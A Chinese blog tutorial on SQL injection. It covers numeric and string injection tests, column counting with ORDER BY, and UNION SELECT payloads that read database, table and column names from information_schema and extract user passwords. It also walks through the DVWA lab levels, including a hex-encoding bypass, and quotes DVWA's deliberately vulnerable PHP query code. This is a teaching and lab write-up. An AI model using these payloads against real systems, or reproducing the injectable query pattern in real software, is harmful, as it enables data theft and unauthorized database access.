SQL Injection
关于SQL注入——SQL Injection
0x00 什么是SQL注入
因为web应用向后台数据库传递SQL语句进行数据库操作的时候没有进行数据与代码分离,把用户输入的数据当作代码来执行,没有经过严格的过滤导致攻击者可以构造特殊的SQL语句,获取或修改数据库中的数据。
关键条件
- 参数用户可控
- 参数带入数据库查询
0x01 SQL类型
注入漏洞的位置
1. 数字型注入
输入参数是整型,存在漏洞
(1) 添加单引号:
url:xxxxxx/xxx.php?id=1';
对应语句 select * from table where id=1';
语句出错,无法返回数据,同时抛出异常
(2) 添加 and 1=1
url:xxxxxxx/xxx.php?id=1 and 1=1;
对应语句 select * from table where id=1 and 1=1;
语句正确执行,不会抛出异常
(3) 添加 and 1=2
url:xxxxxxx/xxx.php?id=1 and 1=2;
对应语句 select * from table where id=1 and 1=2;
可以正常执行但是结果差异
以上三点证明为数字型注入
2. 字符型注入
输入参数为字符串,需要引号(有单有双)进行闭合
(1) admin'
select * from table where name='admin'';
语句错误产生报错
(2) admin' and 1=1
select * from table where name='admin' and 1=1';
语句错误,无法注入
改为admin' and 1=1#
通过注释符号将后面的内容注释
(3) admin' and 1=2#
可执行,但是错误的
以上三点确定为字符型输入
关于万能密码
部分整理
已知原理方便写得。
0x02 SQL流程
-
判断注点:数字or字符
-
判断字段
什么是字段
字段(列):某一个事物的一个属性
元组(记录):事物特征的组合,用于描述一个具体的事物
表:记录的组合 表示同一类事物的组合
order by :详情
order by num :是指按照num列对于结果进行从小到大排序,在这里通过这个判断的思想就是去猜测该数据库中存在多少列,如果有两列那么order by 2就成立,如果出现报错就证明该列不存在。
-
可以通过UNION,连接两个select语句,
1' UNION SELECT 1,2# 查询此时数据库1,2两列存放的内容。
1' UNION SELECT 1,database() from information_schema.schemata# information_schema.schemata可以理解为MySQL自带的一个数据库表,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
由此我们可以得到数据库名称,然后我们可以逐步得到数据库中的表 ,列以及最后其中的数据。
表:UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
列:UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
group_concat:分组字段中的非空数据连成字符串输出 危害性是显而易见的,我们可以获得用户对应的密码。
0x03 DVWA SQL Injection
-
LOW :简单解决
-
Medium: GET的方式不被允许了,只能通过POST方式提交,因此可以考虑经过抓包(该题面临小点:单引号被转义,可以通过转为十六进制绕过)
-
High: 唯一区别只增加了LIMIT 1 ,同样可以被#注释
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
重点
手工SQL注入首先判断为什么型注入,其次进行字段判断,再次查询数据库名,再去查表名,字段名,最后通过一步步查出数据。(首先的排查不可忽视)
存在其他注入手法例如Error注入
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY